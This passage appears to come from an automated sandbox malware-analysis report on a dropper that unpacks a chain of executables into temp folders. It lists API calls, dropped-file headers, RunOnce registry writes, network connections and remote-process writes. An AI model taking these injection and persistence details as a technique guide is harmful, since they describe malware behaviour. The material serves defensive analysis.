"GetLogicalDrives"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "GetLogicalDrives" (Indicator: "GetLogicalDrives"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found reference to API "GetDriveTypeW" (Indicator: "GetDriveType"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetDriveTypeA" (Indicator: "GetDriveType"; Source: "00000000-00005632.00000000.76197.001AA000.00000002.mdmp")68:T6fb,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00005716) "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005716) "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "FindNextFileW" with parameter 9zc6iD1.exe (UID: 00000000-00005716) "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "FindNextFileW" with parameter ca8Oc89.exe (UID: 00000000-00005716) "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "FindFirstFileA" with parameter %TEMP%\IXP000.TMP\* (UID: 00000000-00005716) "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00005716) "ca8Oc89.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00005632) "ca8Oc89.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005632) "ca8Oc89.exe" called "FindNextFileW" with parameter 8Cg883Yu.exe (UID: 00000000-00005632) "ca8Oc89.exe" called "FindNextFileW" with parameter JA0VX88.exe (UID: 00000000-00005632) "ca8Oc89.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00005632) "ca8Oc89.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00005632) "JA0VX88.exe" called "FindFirstFileW" with parameter %TEMP%\IXP002.TMP\*.* (UID: 00000000-00005852) "JA0VX88.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005852) "JA0VX88.exe" called "FindNextFileW" with parameter 7xN51gn.exe (UID: 00000000-00005852) "JA0VX88.exe" called "FindNextFileW" with parameter CF3Mr43.exe (UID: 00000000-00005852)69:Te0c,Found string "FromBase64" (Indicator: "base64"; File: "00003236.00000CA4.996429.00402000.wprm") Found string "AesGcm256" (Indicator: "aes"; File: "00003236.00000CA4.996429.00402000.wprm") Found string "AesFastEngine" (Indicator: "aes"; File: "00003236.00000CA4.996429.00402000.wprm") Found string "FromBase64String" (Indicator: "base64"; File: "00003236.00000CA4.996429.00402000.wprm") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "00003236.00000CA4.996429.00402000.wprm") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; File: "00003236.00000CA4.996429.00402000.wprm") Found string "base64str" (Indicator: "base64"; File: "00003236.00000CA4.996429.00402000.wprm") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; File: "00003236.00000CA4.996429.00402000.wprm") Found string "FromBase64CharArray" (Indicator: "base64"; File: "00003236.00000CA4.996429.00402000.wprm") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "00003236.00000CA4.996429.00402000.wprm") file/memory contains long string with (Indicator: "aes"; File: "SSL") file/memory contains long string with (Indicator: "aes256"; File: "SSL") Found string "system.security.cryptography.csp.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "system.io.compression.zipfile.dll" (Indicator: "zipfile"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "system.security.cryptography.algorithms.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "system.security.cryptography.encoding.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "system.security.cryptography.primitives.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "system.security.cryptography.x509certificates.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "system.security.cryptography.csp.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "system.io.compression.zipfile.dll" (Indicator: "zipfile"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "system.security.cryptography.algorithms.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "system.security.cryptography.encoding.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "system.security.cryptography.primitives.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "system.security.cryptography.x509certificates.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "FromBase64" (Indicator: "base64"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found string "AesGcm256" (Indicator: "aes"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found string "AesFastEngine" (Indicator: "aes"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp")6a:T1036,Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP003.TMP\2QO3391.exe" (Indicator: "\Device\"; Source: "00000000-00001184.00000000.78529.00320000.00000004.mdmp") Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP000.TMP\9zc6iD1.exe" (Indicator: "\Device\"; Source: "00000000-00003368.00000000.79552.00350000.00000004.mdmp") Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00003848.00000000.79205.004B0000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00003848.00000000.79205.004B0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00003848.00000000.79205.004B0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00003848.00000000.79205.004B0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00003848.00000000.79205.004B0000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00003848.00000000.79205.004B0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP001.TMP\8Cg883Yu.exe" (Indicator: "\Device\"; Source: "00000000-00003848.00000000.79205.004B0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00005628.00000000.76333.00660000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00005628.00000000.76333.00660000.00000004.mdmp, 00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00005628.00000000.76333.00660000.00000004.mdmp, 00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00005628.00000000.76333.00660000.00000004.mdmp, 00000000-00005628.00000001.78200.00660000.00000004.mdmp")6b:T14d9,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: 16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: 16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: ca8Oc89.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: ca8Oc89.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: ca8Oc89.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: ca8Oc89.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: ca8Oc89.exe] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: 1SX49Ye8.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: 1SX49Ye8.exe] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: 1SX49Ye8.exe] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: 1SX49Ye8.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: 1SX49Ye8.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: 1SX49Ye8.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 1SX49Ye8.exe] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: 1SX49Ye8.exe] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: 1SX49Ye8.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: 1SX49Ye8.exe] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: 1SX49Ye8.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 1SX49Ye8.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: 1SX49Ye8.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: 1SX49Ye8.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 1SX49Ye8.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: 1SX49Ye8.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: JA0VX88.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: JA0VX88.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: JA0VX88.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: JA0VX88.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: JA0VX88.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: CF3Mr43.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: CF3Mr43.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: CF3Mr43.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: CF3Mr43.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: CF3Mr43.exe]6c:T52b,"ca8Oc89.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\ca8Oc89.exe]- [targetUID: 00000000-00005716] "1SX49Ye8.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP003.TMP\1SX49Ye8.exe]- [targetUID: 00000000-00005628] "JA0VX88.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\JA0VX88.exe]- [targetUID: 00000000-00005632] "CF3Mr43.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP002.TMP\CF3Mr43.exe]- [targetUID: 00000000-00005852] "9zc6iD1.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\9zc6iD1.exe]- [targetUID: 00000000-00005716] "8Cg883Yu.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\8Cg883Yu.exe]- [targetUID: 00000000-00003848] "2QO3391.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\IXP003.TMP\2QO3391.exe]- [targetUID: 00000000-00001184] "7xN51gn.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386"- Location: [%TEMP%\IXP002.TMP\7xN51gn.exe]- [targetUID: 00000000-00005852]6d:T52b,"ca8Oc89.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\ca8Oc89.exe]- [targetUID: 00000000-00005716] "1SX49Ye8.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP003.TMP\1SX49Ye8.exe]- [targetUID: 00000000-00005628] "JA0VX88.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\JA0VX88.exe]- [targetUID: 00000000-00005632] "CF3Mr43.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP002.TMP\CF3Mr43.exe]- [targetUID: 00000000-00005852] "9zc6iD1.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\9zc6iD1.exe]- [targetUID: 00000000-00005716] "8Cg883Yu.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\8Cg883Yu.exe]- [targetUID: 00000000-00003848] "2QO3391.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\IXP003.TMP\2QO3391.exe]- [targetUID: 00000000-00001184] "7xN51gn.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386"- Location: [%TEMP%\IXP002.TMP\7xN51gn.exe]- [targetUID: 00000000-00005852]6e:T578,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "ca8Oc89.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "ca8Oc89.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "JA0VX88.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "JA0VX88.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"") "CF3Mr43.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "CF3Mr43.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP3"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"")6f:Tce8,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\ca8Oc89.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" wrote 20992 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\9zc6iD1.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "ca8Oc89.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\JA0VX88.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "ca8Oc89.exe" wrote 18432 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\8Cg883Yu.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "JA0VX88.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\CF3Mr43.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "JA0VX88.exe" wrote 15872 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\7xN51gn.exe": 4d5aff000100000004001000ffff00004001000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0a240000000000000000 ... "CF3Mr43.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\1SX49Ye8.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000200100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "CF3Mr43.exe" wrote 621 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\2QO3391.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...70:T606,TCP traffic to 142.251.167.84 on port 443 is sent without HTTP header TCP traffic to 157.240.22.35 on port 443 is sent without HTTP header TCP traffic to 163.181.60.203 on port 80 is sent without HTTP header TCP traffic to 157.240.254.7 on port 443 is sent without HTTP header TCP traffic to 142.251.218.227 on port 80 is sent without HTTP header TCP traffic to 142.251.214.35 on port 443 is sent without HTTP header TCP traffic to 142.251.218.110 on port 443 is sent without HTTP header TCP traffic to 142.251.153.119 on port 443 is sent without HTTP header TCP traffic to 162.159.140.229 on port 443 is sent without HTTP header TCP traffic to 23.54.40.202 on port 443 is sent without HTTP header TCP traffic to 104.18.20.94 on port 443 is sent without HTTP header TCP traffic to 104.18.21.177 on port 443 is sent without HTTP header TCP traffic to 104.19.229.21 on port 443 is sent without HTTP header TCP traffic to 52.44.78.25 on port 443 is sent without HTTP header TCP traffic to 13.225.47.20 on port 80 is sent without HTTP header TCP traffic to 104.18.6.168 on port 443 is sent without HTTP header TCP traffic to 142.251.151.4 on port 443 is sent without HTTP header TCP traffic to 142.251.214.42 on port 443 is sent without HTTP header TCP traffic to 54.230.110.151 on port 80 is sent without HTTP header TCP traffic to 142.251.219.35 on port 443 is sent without HTTP header TCP traffic to 13.225.46.24 on port 80 is sent without HTTP header TCP traffic to 150.171.110.194 on port 443 is sent without HTTP header71:T771,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\9zc6iD1.exe" with delete access "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\ca8Oc89.exe" with delete access "ca8Oc89.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "ca8Oc89.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "ca8Oc89.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\8Cg883Yu.exe" with delete access "ca8Oc89.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\JA0VX88.exe" with delete access "JA0VX88.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "JA0VX88.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "JA0VX88.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "JA0VX88.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\7xN51gn.exe" with delete access "JA0VX88.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\CF3Mr43.exe" with delete access "CF3Mr43.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "CF3Mr43.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "CF3Mr43.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "CF3Mr43.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "CF3Mr43.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\2QO3391.exe" with delete access "CF3Mr43.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\1SX49Ye8.exe" with delete access72:T6ca,RegCreateKeyExA RegOpenKeyExA OpenProcessToken RegCloseKey RegDeleteValueA LoadLibraryExA GetTempFileNameA LockResource CreateProcessA DeleteFileA FindNextFileA GetTickCount FindResourceA WriteFile CreateDirectoryA TerminateProcess GetSystemInfo UnhandledExceptionFilter LoadLibraryA CreateThread Sleep GetSystemDirectoryA CreateFileA GetModuleFileNameA GetDriveTypeA GetTempPathA GetModuleHandleW GetVersionExA FindFirstFileA GetStartupInfoW GetFileAttributesA GetProcAddress RegDeleteKeyW RegCreateKeyExW RegOpenKeyExW SetSecurityDescriptorDacl CreateProcessAsUserW CreateProcessWithLogonW GetUserNameW RegDeleteValueW RegEnumKeyExW IcmpSendEcho CreateFileW IsDebuggerPresent FindNextFileW DeviceIoControl CopyFileW WriteProcessMemory GetTempFileNameW FindFirstFileW GetComputerNameW GetFileSize LoadLibraryExW GetModuleHandleExW GetTempPathW VirtualAlloc GetDriveTypeW VirtualAllocEx ExitThread LoadLibraryW OutputDebugStringW CreateToolhelp32Snapshot DeleteFileW CreateProcessW FindResourceExW GetVersionExW GetSystemDirectoryW FindFirstFileExW CreateDirectoryW ReadProcessMemory GetModuleFileNameW CopyFileExW GetCommandLineA Process32NextW OpenProcess GetFileAttributesW GetCommandLineW Process32FirstW ShellExecuteExW ShellExecuteW GetClipboardData SetKeyboardState FindWindowW GetCursorPos GetWindowThreadProcessId FindWindowExW InternetConnectW InternetOpenW FtpOpenFileW InternetReadFile HttpQueryInfoW InternetCrackUrlW InternetCloseHandle HttpSendRequestW FtpGetFileSize InternetQueryDataAvailable InternetOpenUrlW InternetQueryOptionW bind recvfrom accept recv sendto socket listen WSAStartup closesocket send connect73:T632,Wrote 112 instructions to a remote process Wrote 73 instructions to a remote process Wrote 2 instructions to a remote process Wrote 89 instructions to a remote process Wrote 10 instructions to a remote process Wrote 94 instructions to a remote process Wrote 42 instructions to a remote process Wrote 12 instructions to a remote process Wrote 22 instructions to a remote process Wrote 23 instructions to a remote process Wrote 57 instructions to a remote process Wrote 13 instructions to a remote process Wrote 74 instructions to a remote process Wrote 27 instructions to a remote process Wrote 20 instructions to a remote process Wrote 5 instructions to a remote process Wrote 9 instructions to a remote process Wrote 67 instructions to a remote process Wrote 21 instructions to a remote process Wrote 11 instructions to a remote process Wrote 24 instructions to a remote process Wrote 87 instructions to a remote process Wrote 7 instructions to a remote process Wrote 54 instructions to a remote process Wrote 30 instructions to a remote process Wrote 46 instructions to a remote process Wrote 17 instructions to a remote process Wrote 113 instructions to a remote process Wrote 65 instructions to a remote process Wrote 19 instructions to a remote process Wrote 40 instructions to a remote process Wrote 88 instructions to a remote process Wrote 48 instructions to a remote process Wrote 16 instructions to a remote process Wrote 39 instructions to a remote process Wrote 25 instructions to a remote process Wrote 4 instructions to a remote process74:T4f5,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "f38e27c98c652eb83fffa4c219513aa2.exe") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "f38e27c98c652eb83fffa4c219513aa2.exe") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; File: "00003780.00000EC4.18260065.00402000.wprm") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00000300.00000001.68700.0027A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00000300.00000001.68700.0027A000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00002052.00000001.68476.0083A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00002052.00000001.68476.0083A000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00002864.00000001.71971.00EE8000.00000004.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00003164.00000000.66893.00AFC000.00000002.mdmp")75:T74a,"AppLaunch.exe" 